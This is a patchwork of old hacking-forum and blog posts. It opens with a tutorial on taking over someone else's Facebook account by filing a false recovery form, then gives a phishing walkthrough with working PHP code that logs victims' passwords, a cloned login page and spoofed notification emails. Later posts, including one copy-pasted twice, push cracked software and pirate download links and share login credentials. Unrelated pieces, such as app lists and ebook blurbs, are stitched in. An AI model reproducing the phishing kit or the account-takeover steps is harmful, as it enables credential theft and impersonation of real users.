Hack Any Facebook Account

Welcome to a tutorial on how to hack any facebook accounts, in next 24 hours, without keylogging/phishing etc.

First of all, I want to say is this is not hacking, this is called "Reverting".

What is Reverting?
Reverting means undoing the effects of one or more edits, which normally results in the page being restored to a version that existed sometime previously.
NOTE: This tutorial is for educational purposes only, I am NOT responsible in any way for how this information is used, use it at your own risk, also you can learn how to get your account back from this.Ok, let's start:
Step 1: First of all open this link:
http://www.facebook.com/help/contact.php?show_form=account_hacked
This will be the form you will be filling out.
NOTE: Be sure you are not logged in.

Step 2: Your email address.
Simple, write your "own" email adress, or the victim you are hacking.

Step 3: Can you send and receive emails from your login email address?
Choose "No".

Step 4: Has the login email address that you normally use to log in to your account been hacked?
Choose "Yes".

Step 5: Has the login email address on your account been changed?
Choose "Yes" again.

Step 6: Full name on the account.
If you already know the full name of the victim you're going to hack, you can write it

Step 7: Email address(es) that may be affiliated with the account.

Write "No".

Step 8: Your contact email address.

Write your email adress where facebook can contact you. Example crazy@gmail.com.

Step 9: Your username (if applicable).

If you are not sure about your victim, ask him first, if he looks like confused and asking you what's that, then probably he doesn't have one.so write there "none", "don't have" or "no".

Step 10: URL (web address link) to your profile page.

You can find victim's profile page, by searching their email. login to your facebook, write their email in the search button and press Enter. After some seconds, it will appear their name, click on it and copy the URL. There are more instruction in the pictures. They look bad but that was the best I could do.

Step 11: Once you're done and pressed the Submit button a message will appear:
"Thanks, your inquiry has been forwarded to the Facebook Team."

That means, you're done and you have to wait while facebook check up your request and send you email to the email you wrote where they can contact you.

PLEASE DONT TRY ON MY ACCOUNT

Phish it easy!!!

Creating a fake login page and some social engineering trick's.


1.) First part:Creating the Fake Login Page.
In this part of the tutorial I'm going to tell you have to make a fake login page.
This method works for most of the pages but i have chosen Hi5 as an example.

Part 1:
First we create a PHP script that will save the passwords in a text file.

1.) Open notepad and put this code:

CODE

<?php
header ('Location: http://www.hi5.com/friend/login.do ');
$handle = fopen("passwords.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($ handle, "\r\n");
fclose($handle) ;
exit;
?>

2.)Now save this as phish.php
Note:

CODE

header ('Location: http://www.hi5.com/friend/login.do ');

This URL is where the victim is redirected after logging in to you fake page.
The best way to do this is to go to the original site(in this case hi5) and try to login without username and password.Of course then the site will tell you that the username/password incorrect.Now copy that url and paste in that part of the phish.php script.As you can see the hi5 has got "http://www.hi5.com/friend/login.do"
Now we have succesfully created the script that will save the password in a text file which will be later used to see logged victim password's.

Part 2:
Now we go to http://www.hi5.com and right click / View Source.
Now we need to find the place where LOGIN button in Hi5 page send the user after clicking on it.
To do that we search for something like:

CODE

action=anything.

In this case we have:

CODE

action="/friend/login. do"

We replace that part with:

CODE

action="phish.php"

Then we copy the whole source and save this file as login.php.

Now upload these 2 files(login.php and phish.php) to a webhost that supports PHP and you ready to go.Just give your victim the link to your Login.php file and every time they login that php script will create a file titled passwords.txt in the same directory as login.php and phish.php.Just open the password.txt and you will see the passwords.

The phishing link should be something like this:
http://something.awa...e.com/login. php ---> Send this to your victim

And the txt file with the passwords like this:
http://something.awa...m/passwords.txt ---> View the passwords with this one.

Another example of phishing link:
http://hi5-friendreq...e.com/login.php

Don't log in on this one,Its my phishing link. But of you do that wont bother me.

The Fake Login Page proccess is over.

Second part:Deceiving the Victim.

Now in this part we are going to see how we can deceive our victims.The way i do it is like this.

1#.Go to your inbox and find a simple hi5 Friend Request.Copy it like in the picture:


Go to http://deadfake.com/Send.aspx , scroll down for a little and paste the invitation like this:



*Now select the "Accept Friend" line.
*Click the hyperlink button.
*Paste your phishing link there.
*Click OK button.
See the pic for more:


Now fill in the fields like this :

To: victimemail@dumb.com
From: info@hi5.com
Subject: Someone has sent you a hi5 Friend Request

Then enter the security code and click send.The e-mail will look like it came from hi5 just that it will redirect the victim to your phishing link instead of hi5.com

The same can be done for facebook and many more websites of your choice.

NOTE:There is a chance that the email wont be sent sometimes.So the best it would be to send it on your own inbox just before you send it to your victim.

Well that's it for today boys and girls.I know it was a long tutorial but believe me it will worth it once you mastered .Let me know what you think.

Happy Phishing.

The Ultimate List of Twitter Applications for the BlackBerry smartphone

If you haven’t heard yet of Twitter you should check out their site www.twitter.com. Twitter is a free social networking and micro-blogging service that allows its users to send and read other users’ updates (otherwise known as tweets), which are text-based posts of up to 140 characters in length.

Twitter is an amazing tool to connect with other people and to keep your friends updated about “what you are doing right now”. I personally use Twitter a lot to reach out to other BlackBerry user and share information about my blog.

Twitter has already helped me to meet people I would have never met before in such a short time-frame. Twitter helps you to start conversations and you will meet interesting people you never thought you would meet.

Of course Twitter is not just available online but you can also send updates through your mobile phone. While you can configure Twitter to work with text SMS, I highly recommend to use dedicated software. Here is a list of applications that allow you to use Twitter from your BlackBerry.

The Best-Known App: TwitterBerry

TwitterBerry is one of the most used mobile client for posting updates to Twitter from a BlackBerry smartphone. It works over the data network, so you don’t need to use SMS. TwitterBerry is developed by Orangatame Software and can be downloaded OTA from your BlackBerry from http://orangatame.com/ota/twitterberry/.


The Universal App: TinyTwitter

TinyTwitter is a universal Twitter client and it works on ANY Java enabled device (that’s a bunch & includes the CrackBerry) and ANY Windows Mobile Pocket PC or Smartphone.
It can be downloaded OTA at http://www.tinytwitter.com/m/
 
The Location Aware App: Twibble

twibble mobile is one of the best twitter clients for Java enabled devices (Nokia, Blackberry, and others). It supports all important twitter functions, uploading of photos via twitpic, GPS, and much more!
Twibble mobile can be downloaded OTA from http://m.twibble.de/
 
The Rising Star: Social Scope

SocialScope is a native Twitter and Facebook status client for your BlackBerry. It aggregates your social networks (Facebook & Twitter for now) and updates your status on both. It also lets you view your twitter timeline!
Since SocialScope is still in Alpha mode you have to request an invite at http://socialscope.net/

The Fully Integrated:Yatca

Yatca is an innovative Twitter client application for BlackBerry (OS 4.6+) that delivers updates and replies directly to your device’s inbox. This enables you to tweet and reply in much the same way that you work with email and SMS.

How to Find a Job on LinkedIn, Facebook, MySpace and Other Social Networks

Finding the job of your dreams the old way just doesn?t happen anymore. If you want great pay, great benefits, and great satisfaction in your career, you must begin social networking.

How to Find a Job on LinkedIn, Facebook, Twitter, MySpace, and Other Social Networks helps you take full advantage of the bounty of opportunities to be found on the most popular sites. Online job-search experts Brad and Debra Schepp take you step-by-step through the process of joining networks, creating effective online profiles, and successfully

* Marketing yourself

* Building a network of business contacts

* Connecting with employers

* Getting recommendations

* Finding new leads

Mailing a resume and hoping for the best simply puts your fate in the hands of others. To stay in the running, you have to take control by keeping your information fresh and current?in real time. Online social networking is the only way to go, and this forward-looking guide is the best way to get there.

 

Download

http://hotfile.com/dl/21725587/161200e/BR-1525-HTFJ.rar.html

Mirror

http://rapidshare.com/files/325420971/BR-1525-HTFJ.rar

Essential Facebook Development - Build Successful Applications for the Facebook Platform Eboook Dec 09

"What sets this title apart is the authors' deep insight of how to leverage the Facebook API to create wildly successful applications. They even provide instructions of how to a/b test, track, and analyze metrics to increase the exposure and engagement of your applications. Their knowledge is practical and after putting their techniques to use, my applications have achieved better results."

–Joseph Annuzzi, Jr., App Architect, PeerDynamic.com

With more than 250 million active users, Facebook is the world's #1 social networking platform. But developing successful Facebook applications presents unique challenges, both technical and nontechnical. Now, two of the world's most experienced Facebook developers show you exactly how to meet those challenges. Essential Facebook Development offers insider guidance and up-to-the-minute best practices for the entire application lifecycle: design, coding, testing, distribution, post-launch monitoring, metrics, and even application marketing.

Using extensive real-world examples, John Maver and Cappy Popp reveal why some Facebook applications succeed brilliantly while others fail. Next, they walk through building a complete application using every major component of the Facebook platform. Maver and Popp thoroughly cover Facebook's most important new features, including Facebook Connect, and provide extensive information available nowhere else–from measuring application success to monetization.

Coverage includes

Thorough introductions to Facebook's current architecture, integration points, and development technologies

Discussion of successful Facebook applications–and what makes them successful

What every developer must know about Facebook's Terms of Service

Creating an effective application infrastructure

Creating canvas pages with FBML and IFrames

Adding support for profiles, application tabs, and messaging

Incorporating JavaScript into Facebook applications with FBJS

Integrating Facebook into external sites with Facebook Connect and the Facebook JavaScript Client Library

Debugging techniques for Facebook applications

Spreading, monitoring, and tuning applications

DownloaD

PC Security: The Ultimate Guide.

The Ultimate Guide to PC Security

Being a hacker, you're coming face to face with some of the most malicious programs on the internet every day. You want to be secure. Most of the programs you'll be downloading will be malicious, so how can you tell if the program will be working against you or for you?

This guide will be looking at the scanning of malicious files, as well as a guide to anti-viruses & firewalls and a brief introduction to sandboxing and anonymity. So yep, you're in for quite a bit of reading. Grab a drink, maybe a cigarette.

Being secure is important. Just because you call yourself a hacker, it doesn't mean you're immune to attacks towards your computer. Without my anti-virus, I doubt I'd actually be typing this now - I'd probably be searching through my registries and screaming like a chicken on speed. I'm like that.

Not all anti-viruses work the same way. Some anti-virus programs are bad; some are good, and some are just plain useless. We'll be looking at which ones are the best of the best, and which ones are just plain fail.
Being infected with something can also put your friends and family at risk, other users of your computer could be having their login & credit card details stolen without any knowledge of it. Worms can also spread to your email contacts and friends on popular websites such as Facebook.

Downloads & Scanning
For example, you download a program and the poster is claiming that it is a clean botnet controller. If we can this, it will come up with results such as "Win32/RBot" etc.. This means that the file should be what we wanted.
Now, if the botnet-controller scan came up as something like "Win32/trojan.agent.a", we can tell that this is a malicious program that will work against us. This is an example of a download you do not want to use.
All in all, the scan should show results similar to what you were downloading.

You should always be careful what you download. You may often be downloading malicious software without even realizing sometimes. Trust me, this happens to a lot more people than you think.
If you're expecting a file to be much bigger than the download you find, don't touch it. An example of this would be "Windows XP Theme - 350kb!" when it should be a lot higher, such as 30-50mb.
Remember to always check the names of the files you download.. If you're downloading a cracked program, it would be unusual for it to have no credits or advertisements in it. I would trust " 'x' cracked by 'y' " more than I'd trust " 'x' crack". Credits, names or advertisements should nearly always be in .rar or .zip files, this is one good way of recognizing a trusted download.

Here is a quote from Wikipedia which you may find helpful: "Example: ZTreeWin_1.5.zip contains a crack to register ZtreeWin 1.51 included files are: keygen.exe, one.nfo, file_id.diz and 'RUN.EXE'. It is the 'RUN.EXE' that contains the rogue program". Downloading really isn't necessary and is often risky.


Online File Scanners
Web-scanners such as "VirusTotal" and "NoVirusThanks" are becoming increasingly popular with the amount of anonymous downloads posted all over the internet.

If you want to scan a file you find suspicious, you can go to either VirusTotal - Free Online Virus and Malware Scan or NoVirusThanks.org - Home to do so.
VirusTotal will send samples of the file to the antivirus companies, so this is not recommended if you want to keep your file undetectable.
NoVirusThanks has an "Advanced options" area where you can choose to not distribute your file to the antivirus companies, this is handy for keeping things fully undetectable, but if it's a file you don't trust and don't want yourself or others to be infected by it in the future, I suggest you allow them to distribute it to the antivirus companies. I respect what these websites and the malware fighting websites do, and so should you.


Visiting Websites & Reading Emails.
Be cautious of the websites you visit. I wouldn't recommend visiting any websites that seem cheap, uncommon, or freely hosted. Malicious websites are often misleading or can just inject things into your system without your consent. If you use the "Chrome" browser from Google, you may have noticed that it automatically downloads files without prompting you. Chrome is a browser I would not recommend just because it is so new, all new things have vulnerabilities, and if a vulnerability can be exploited, it will be exploited.

I'm behind a firewall and anti-virus anyway, but the only websites I visit are popular ones. The untrustworthy and uncommon websites usually don't appeal to me, for obvious reasons..

When opening emails, you should also be cautious. Just because it's an email from your friend - it doesn't mean you can trust it! You may see some emails asking you to update your bank details -- your banks should never ask you to do that via email. The details you enter will be sent out to someone who is going to exploit your details, so steer away from these emails.

Worms can be spread via email. For example, you open an email from Bob containing a worm, this worm is then sent to all of your contacts. This is how most worms will work, and it is suggested that you change your emailing service if it could be vulnerable. You can use Microsoft's live hotmail service which is excellent, it will also disable any harmful content from downloading onto your computer. You can find this service at Sign In


Sandboxing
By using a sandbox, everything that is downloaded onto your computer will remain in the sandbox. It will not escape, meaning that malicious downloads cannot harm your computer. Sandboxing is a great way to test whether or not a website can be trusted. I rarely do this, but it's so useful sometimes.

Sandboxing will also protect your cookies, history and cached temporary files from being leaked. Downloads are isolated, meaning that they are trapped and your computer is protected.
Here is a download I have for Sandboxie v3.30: RapidShare: Easy Filehosting


Firewalls
The good antiviruses will have a built-in Firewall, but if not, then it may be worth downloading one. Firewalls aren't essential, but can help a lot.
Some firewalls have IP masking options, but these can usually slow down your computer and are not worth using unless you're doing something illegal.

The main use of a firewall is to prevent incoming traffic, which will stop things like 'telnet' from reaching your connection, and can also stop worms etc. from accessing your network. Firewalls will also block the backdoors that trojans create, so if you find yourself unlucky enough to have a RAT (Remote Access Trojan) on your computer, the backdoor should be blocked by your firewall, but it is possible for a trojan to bypass this. Having a firewall does not mean you are secure, many firewalls can be easily disabled or bypassed by malware. Some firewalls will also block legit connections, such as downloads for software. Do not think you're secure just because you have a firewall, this is a common misconception with firewalls. Too many people think that by installing a highly popular firewall, they'll instantly be secure against the latest intrusions, but this is not at all true.

Firewalls may also make an effect on your connection speed. If you have a very fast download speed, you may notice a difference when you get a firewall, but the download speed may remain normal on users with slower speeds. This effect can vary between users, and depends on the connection. It's best to try several firewalls to find out which one suits you best - reviews are personal and will not always be the same for everyone.

One of the favourite firewalls is "ZoneAlarm" which is very popular and has a free version. The paid version is obviously better, but it isn't necessary at all.
If you're using Windows Vista, I'd recommend choosing ZoneAlarm as your firewall. The same goes for XP, but you might want to get your hands on a "BlackIce" crack instead, if possible.
Another great Firewall is "Comodo" which is also free can be found here...
Comodo:
Free Firewall Software Download by Comodo
Zone Alarm:
ZoneAlarm by Check Point - Award winning PC Protection, Antivirus, Firewall, Anti-Spyware, Identity Protection, and much more.
Ghost:
GhostWall FireWall


Antiviruses
An anti-virus program is essential. You honestly shouldn't go without one. If you don't have one, there is a list of downloads and recommendations in the next post. Don't be worried about the anti-virus slowing down your computer, if you get the right one then your computer will remain at maximum performance.

You want an antivirus that will scan your RAM and system folders constantly, because then you will be alerted if something harmful has been found in them. The average antivirus will only scan and remove when told to, but the best ones will scan constantly, update daily, and give plenty of tweaking options to fit to your preferences.

If there are malicious programs that you want to download such as Metasploit, it is best if you have an antivirus that will allow you to do so. Some antivirus programs will give you no option and will quarantine the file straight away, but others such as Kaspersky will give you the option to clean, remove or ignore.

Viruses can sometimes fully disable your protection, but the stronger programs such as Nod32 can withstand this and will be unclosable. You want something tough if you're going to be downloading riskware.
A good anti-virus will also constantly scan your downloads and running processes. Hopefully you are able to understand now why these are essential.

If you want to run more than one antivirus, you must find a combination that works. If you have a good antivirus, you won't need to. Infact, you shouldn't ever need to run more than one. I remember having Kaspersky running while I installed Nod32, my PC growled. :3 The only antivirus-related programs I have installed at the moment are HijackThis, ComboFix and NOD32. I like to use HijackThis to see what's running on my computer, and I always keep ComboFix just incase, you never know what's round the corner...
I remember having no antivirus software installed whatsoever, and then I received a rootkit that wouldn't let me download any software.. I got rid of them eventually, but it wasn't easy, the rootkit wasn't detected by most AV's because of it being so new/rare - you still can't find it on a few of the AV databases! But I do wish I had it again, so I could send it out as a sample.

I will be listing my favourite anti-viruses in the next part. I strongly recommend you stick to these, as there are many fake ones that you can be easily lead to. Remember to look things up before downloading them. Pick wisely! :3

The Top 5 Anti-virus Programs.
Here's the list of my top five favourite anti-virus programs in order.
You can pick which you want from each picture, but I'd recommend Kaspersky.

Kaspersky:
Download - RapidShare: Easy Filehosting
Password - a4f1exsid1ec


Nod32:
Crack (Doesn't get updated) - RapidShare: Easy Filehosting
Logins for legit version -
Username:EAV-07473176
Password:a2esnt85nh
For more, try nod32??-??nod32??id?nod32??????nod32??
(Legit version available at Antivirus and Antispyware Software - Download ESET NOD32 Antivirus or ESET Smart Security and eliminate viruses)


Avast:
Avast also has skins available, which is great!
Free download: Download FREE antivirus software - avast! Home Edition


Bitdefender:
Free downloads: Free Anti Virus Downloads - BitDefender


AVG:
Credits to Goodkidz for the download.
Download: RapidShare: Easy Filehosting



Essential Additions.
There's a few more tools which I'm sure you'll definetely want to get.
HijackThis is a tool used to scan the areas of your computer which viruses are often located in. It will also scan the registry areas which hold the legitimate programs and, quite often, the infections. It is best not to delete ('fix checked') any entries on HijackThis unless you know what you're doing, as you may be removing something which is a required part of your system.

Another good thing about HijackThis is the fact that it's so lightweight, it uses barely any memory, it's easy to use, and you don't need to keep it running!
This is a great area to check if a process is harmful or not: Startup Programs Database
HijackThis can be found here: TrendSecure | TrendMicro HijackThis Overview


Browser Protection
There are several great addons for browsers which you can get to protect you from malicious websites.
If you use FireFox, look for "WOT" and "NoScript", WOT will give warnings before you visit a website, and NoScript will disable malicious scripts from running when you visit a website.
If you use Internet Explorer, look for "IE-Spyad", IE-Spyad will redirect you away from malicious webpages and guard you from over 5,000 different URL's.
I'm also working on my own plugin, which you can expect to see in a few months. This will be for IE only, until I fully figure out how FireFox operates.


Okay, now that you're protected (well, I hope you are), it's time to be invisible...

IP Hiders
You can get some great IP hiders to keep you anonymous.
A personal favourite is "Hide-The-IP", which allows you to select the proxy and choose the speed of the one you want.
Hide-The-IP can be found here: Hide The IP - Hide IP Anonymous Surfing Software - Though you may need to find a crack for it!
There are many fabulous IP hiders out there which can be found, and these are a must if you're going to be involved in any illegal activity.

Tor: Anonymity Online
You may want to download "Tor" and TorButton for FireFox. This is a program which will select a proxy for you and allow you to spoof your connection by using that.
TorButton is a FireFox addon which allows you to change your proxy quickly by clicking the button. This is a great tool, and another good reason to download FireFox!
The whole Tor website with information & downloads can be found here: Tor: anonymity online

Alright, grab another cup o' coffee, 'cause we've still got more to do..


Personal Details
Okay, you may want to give out your name and things on your Facebook or MySpace, but if you do, it's wise to use an alternate alias. If someone searched your hacking alias in Google, they'd probably be able to pick up a lot of information on you from that. Think about the name you choose before you choose it, and make sure you don't over-use it - only use it where you think you should. Don't complain about not being anonymous if you're going to splurt out your details everywhere, you can't expect to stay hidden if you're going to give yourself away without realising. Remember that.


Keeping Software Updated
Software should always be kept updated. This is vital. Most security experts will tell you that updating your software is more important than having an antivirus, because malware finds flaws and vulnerabilities in software that it can exploit.
This is what should always be kept fully up to date:
Your operating system (e.g. updating from Windows XP SP1 to SP2).
Java.
Browser.
Antivirus.
Firewall.
Instant messaging or email applications.
Any other software which could be exploited.
Zer0man showed me this lovely website with scanners you can use to check for out-of-date software...
Here's the online version: Scan Now - Online (OSI) - Vulnerability Scanning - Secunia.com
And the downloadable version: Download - Personal (PSI) - Vulnerability Scanning - Secunia.com
Quite obviously, the downloadable version scans for more vulnerabilities than the online version, and it includes more features. This is a great tool to use every few weeks, since you never know what's around the corner ;-)


Active Thinking
Many scams and computer infections require your consent, so you should always be wary. If something doesn't quite look right, make sure to research it. Many people are fooled into giving away their details by fake emails from companies such as banks, social networking websites, etc. You shouldn't believe everything you read. Many scams will lead you on, so you just have to watch out. Keep everything you've learned from this guide in mind, and you'll be safe.
A good quote from The Real Hustle: "If it looks too good to be true, then it probably is".


Passwords
Though it is also important to have a password you will remember, you should also be sure that it can't be guessed. If it's a site containing personal information, I suggest you change your password once a month. A good password would contain letters, numbers and symbols - maybe even words in a foreign language if it helps! An example of a good password would be "A$fao4iz3£p" not "John1982" or "ilovefootball". Passwords should be different for each website you use, because if someone hacked into a forum, for example, and took your details - potentially, they could have access to your PayPal account, Facebook, etc.

Well, you should know just about everything you need to know by now. If there's anything else you're wondering, don't hesitate to ask! I will be here for any questions, feedback or suggestions. This guide should keep you well-hidden and protected from now on, just remember to keep everything in mind!

OGDI Python tutorial, or why OGDI is awesome.

The open government data initiative is a program started by Obama. It is so, that the US government can make easily available to the public, data that the public normally has the right to see, but it allows it to be accessed in a programmable way. It is sponsored by microsoft. And at first that sounds bad. Like to much information. And that microsoft has the data. But I gotta say this thing is shaping up to be pretty spiffy. And though it seems like it is more geared toward microsoft's .net, it has JSON and XML plugged into it as well, and grabbing the data with python is easy as pi.

Ok so the below, is an example of Juvenile Arrest Charges in DC if you just want to start with that use this url:
http://ogdi.cloudapp.net/v1/dc/JuvenileArrestsCharges/
instead of
http://ogdi.cloudapp.net/v1/dc/JuvenileArrestsCharges/?$filter=gender%20eq%20'F

What I have done is add a query of gender eq 'F' to the filter which automagically filters the results. So now you only see juvenile's arrested that are Female.

import urllib
from xml.dom import minidom
from xml.dom.minidom import parse, parseString

def GetData():
url = "http://ogdi.cloudapp.net/v1/dc/JuvenileArrestsCharges/?$filter=gender%20eq%20'F'"
xmldoc = minidom.parse(urllib.urlopen(url))
contentNodes = xmldoc.getElementsByTagName("content")
for contentNode in contentNodes:
partitionKeyNodes = contentNode.getElementsByTagName("d:PartitionKey")
for node in partitionKeyNodes:
print node.childNodes[0].nodeValue

rowKeyNodes = contentNode.getElementsByTagName("d:RowKey")
for node in rowKeyNodes:
print node.childNodes[0].nodeValue

timestampNodes = contentNode.getElementsByTagName("d:TimeStamp")
for node in timestampNodes:
print node.childNodes[0].nodeValue

entityidNodes = contentNode.getElementsByTagName("d:entityid")
for node in entityidNodes:
print node.childNodes[0].nodeValue

nameNodes = contentNode.getElementsByTagName("d:name")
for node in nameNodes:
print node.childNodes[0].nodeValue

addressNodes = contentNode.getElementsByTagName("d:address")
for node in addressNodes:
print node.childNodes[0].nodeValue

weburlNodes = contentNode.getElementsByTagName("d:weburl")
for node in weburlNodes:
print node.childNodes[0].nodeValue

gis_idNodes = contentNode.getElementsByTagName("d:gis_id")
for node in gis_idNodes:
print node.childNodes[0].nodeValue

genderNodes = contentNode.getElementsByTagName("d:gender")
for node in genderNodes:
print node.childNodes[0].nodeValue

offense_descriptionNodes = contentNode.getElementsByTagName("d:offensedescription")
for node in offense_descriptionNodes:
print node.childNodes[0].nodeValue

Your output will look something like this:

2009-03-0915:40:00
1926986
1de0bb1f-688a-4fd8-bc38-e2d76a42f83d
F
OTHER MISDEMEANOR OFFENSE
2009-03-2920:20:00
1927070
fa3139e8-8c03-43d6-babc-96837f625645
F
ADW -- OTHER DANGEROUS WEAPON/ASSAULT W/INTENT TO COMMIT SODOMY WHILE ARMED
2009-03-2921:40:00
1927071
620134cd-d136-4d83-80dc-da5bfa3580d6
F
ASSAULT SIMPLE IN MENACING MANNER

If you just want the output you can actually load a link up in excel. The website shows you how to do this with code samples in various .net languages, ruby, python, php etc..
http://ogdisdk.cloudapp.net/Default.aspx
The video and sample code on the site are very useful.


Information is only available in DC right now it seems...Though it seems while I was doing research on this there was a map showing michigan had finished as well as some other states...though I don't know how to get to that data...hmmm.

For more information there is a microsoft site here:
http://www.microsoft.com/industry/government/opengovdata/

Ok....so, why is this the bees knees? Why am I so hyped about this? Everyone has those horror stories of how they didn't get a job because of drunk photos on facebook or something. I honestly believe that with public information sources like these, there will be so much crap on everybody. So much of bad things that people do...usually in the comfort of their own home. That people are going to forget this silly nonsense, of you did something I don't approve of, and I'm not going to hire you. I think with this really open sources of information a day will come when you don't have to be Jesus to get a job. I write a lot of shit down on the intarwebs, and post pictures etc... I know what posting my opinion or general malfeasentry can cost me. But in the end I think this big ol' goofy world is just going to have to accept imperfect big ol' goofy people.

This does make a bold assumption that things like people's personal arrest records will be available online.

Plus the world needs an app that pairs dates based on similar criminal interests, lulz.

Facebook passwords?

When logging into facebook your login account name/email address is passed of in login_x, there are the three more variables. One of them is most likely the password. c_user appears to be your facebook user id number. h_user and xs are unknown. I believe one of them is an encrypted version of the password and I don't know about the other.

I made a fake account with these user credentials.
login:bsdpunk@gmail.com
Password:Mosssalad

These are the returns
login_x=bsdpunk%40gmail.com
c_user=1089782116
h_user=9856f1ae07ca
xs=d771ba051a12a4ad7c5f898d71a1482a

So if you want more info to deal with here is how you capture your own stuff. Open wireshark, and start sniffing. Login to facebook. Once you are done stop sniffing. Right click on your first http packet, probably coming from a 204.x.x.x click follow tcp stream. If you make a fake facebook account to do this, and you feel like sharing please send me the same variable information I have provided here. The c_user and h_user stay the same, the xs is different.


This post would have been more thorough but, work calls, and I just got my eeePC. Bleh. Maybe more tommorrow.


EDIT so I looked at the source and it looks like it's passing some

EDIT login stuff to ssl and there is a shit ton of Javascript

EDIT that I didn't go through, so in closing I would like to say

EDIT that I feel unqualified to talk about this subject.

Ultimate PC Security Guide

Being a hacker, you're coming face to face with some of the most malicious programs on the internet every day. You want to be secure. Most of the programs you'll be downloading will be malicious, so how can you tell if the program will be working against you or for you?
This guide will be looking at the scanning of malicious files, as well as a guide to anti-viruses & firewalls and a brief introduction to sandboxing and anonymity. So yep, you're in for quite a bit of reading. Grab a drink, maybe a cigarette.

Being secure is important. Just because you call yourself a hacker, it doesn't mean you're immune to attacks towards your computer. Without my anti-virus, I doubt I'd actually be typing this now - I'd probably be searching through my registries and screaming like a chicken on speed. I'm like that.
Not all anti-viruses work the same way. Some anti-virus programs are bad; some are good, and some are just plain useless. We'll be looking at which ones are the best of the best, and which ones are just plain fail.
Being infected with something can also put your friends and family at risk, other users of your computer could be having their login & credit card details stolen without any knowledge of it. Worms can also spread to your email contacts and friends on popular websites such as Facebook.


Downloads & Scanning
For example, you download a program and the poster is claiming that it is a clean botnet controller. If we can this, it will come up with results such as "Win32/RBot" etc.. This means that the file should be what we wanted.
Now, if the botnet-controller scan came up as something like "Win32/trojan.agent.a", we can tell that this is a malicious program that will work against us. This is an example of a download you do not want to use.
All in all, the scan should show results similar to what you were downloading.
You should always be careful what you download. You may often be downloading malicious software without even realizing sometimes. Trust me, this happens to a lot more people than you think.
If you're expecting a file to be much bigger than the download you find, don't touch it. An example of this would be "Windows XP Theme - 350kb!" when it should be a lot higher, such as 30-50mb.
Remember to always check the names of the files you download.. If you're downloading a cracked program, it would be unusual for it to have no credits or advertisements in it. I would trust " 'x' cracked by 'y' " more than I'd trust " 'x' crack". Credits, names or advertisements should nearly always be in .rar or .zip files, this is one good way of recognizing a trusted download.
Here is a quote from Wikipedia which you may find helpful: "Example: ZTreeWin_1.5.zip contains a crack to register ZtreeWin 1.51 included files are: keygen.exe, one.nfo, file_id.diz and 'RUN.EXE'. It is the 'RUN.EXE' that contains the rogue program"
Downloading really isn't necessary and is often risky, but we have some clean content in the HF-L33t section if you want to upgrade for that.

Online File Scanners
Web-scanners such as "VirusTotal" and "NoVirusThanks" are becoming increasingly popular with the amount of anonymous downloads posted all over the internet.
If you want to scan a file you find suspicious, you can go to either http://virustotal.com or http://novirusthanks.org to do so.
VirusTotal will send samples of the file to the antivirus companies, so this is not recommended if you want to keep your file undetectable.
NoVirusThanks has an "Advanced options" area where you can choose to not distribute your file to the antivirus companies, this is handy for keeping things fully undetectable, but if it's a file you don't trust and don't want yourself or others to be infected by it in the future, I suggest you allow them to distribute it to the antivirus companies. I respect what these websites and the malware fighting websites do, and so should you.

Visiting Websites & Reading Emails.
Be cautious of the websites you visit. I wouldn't recommend visiting any websites that seem cheap, uncommon, or freely hosted. Malicious websites are often misleading or can just inject things into your system without your consent. If you use the "Chrome" browser from Google, you may have noticed that it automatically downloads files without prompting you. Chrome is a browser I would not recommend just because it is so new, all new things have vulnerabilities, and if a vulnerability can be exploited, it will be exploited.
I'm behind a firewall and anti-virus anyway, but the only websites I visit are popular ones. The untrustworthy and uncommon websites usually don't appeal to me, for obvious reasons..
When opening emails, you should also be cautious. Just because it's an email from your friend - it doesn't mean you can trust it! You may see some emails asking you to update your bank details -- your banks should never ask you to do that via email. The details you enter will be sent out to someone who is going to exploit your details, so steer away from these emails.
Worms can be spread via email. For example, you open an email from Bob containing a worm, this worm is then sent to all of your contacts. This is how most worms will work, and it is suggested that you change your emailing service if it could be vulnerable. You can use Microsoft's live hotmail service which is excellent, it will also disable any harmful content from downloading onto your computer. You can find this service at http://mail.live.com

Sandboxing
By using a sandbox, everything that is downloaded onto your computer will remain in the sandbox. It will not escape, meaning that malicious downloads cannot harm your computer. Sandboxing is a great way to test whether or not a website can be trusted. I rarely do this, but it's so useful sometimes.
Sandboxing will also protect your cookies, history and cached temporary files from being leaked. Downloads are isolated, meaning that they are trapped and your computer is protected.
Here is a download I posted for Sandboxie v3.30: http://www.hackforums.net/showthread.php?tid=30371

Firewalls
The good antiviruses will have a built-in Firewall, but if not, then it may be worth downloading one. Firewalls aren't essential, but can help a lot.
Some firewalls have IP masking options, but these can usually slow down your computer and are not worth using unless you're doing something illegal.
The main use of a firewall is to prevent incoming traffic, which will stop things like 'telnet' from reaching your connection, and can also stop worms etc. from accessing your network. Firewalls will also block the backdoors that trojans create, so if you find yourself unlucky enough to have a RAT (Remote Access Trojan) on your computer, the backdoor should be blocked by your firewall, but it is possible for a trojan to bypass this. Having a firewall does not mean you are secure, many firewalls can be easily disabled or bypassed by malware. Some firewalls will also block legit connections, such as downloads for software. Do not think you're secure just because you have a firewall, this is a common misconception with firewalls. Too many people think that by installing a highly popular firewall, they'll instantly be secure against the latest intrusions, but this is not at all true.
Firewalls may also make an effect on your connection speed. If you have a very fast download speed, you may notice a difference when you get a firewall, but the download speed may remain normal on users with slower speeds. This effect can vary between users, and depends on the connection. It's best to try several firewalls to find out which one suits you best - reviews are personal and will not always be the same for everyone.
One of the favourite firewalls is "ZoneAlarm" which is very popular and has a free version. The paid version is obviously better, but it isn't necessary at all.
If you're using Windows Vista, I'd recommend choosing ZoneAlarm as your firewall. The same goes for XP, but you might want to get your hands on a "BlackIce" crack instead, if possible.
Another great Firewall is "Comodo" which is also free can be found here...
Comodo: http://www.personalfirewall.comodo.com/
Zone Alarm: http://www.zonealarm.com/store/content/c...wall_b.jsp
Ghost: http://www.ghostsecurity.com/ghostwall/

Antiviruses
An anti-virus program is essential. You honestly shouldn't go without one. If you don't have one, there is a list of downloads and recommendations in the next post. Don't be worried about the anti-virus slowing down your computer, if you get the right one then your computer will remain at maximum performance.
You want an antivirus that will scan your RAM and system folders constantly, because then you will be alerted if something harmful has been found in them. The average antivirus will only scan and remove when told to, but the best ones will scan constantly, update daily, and give plenty of tweaking options to fit to your preferences.
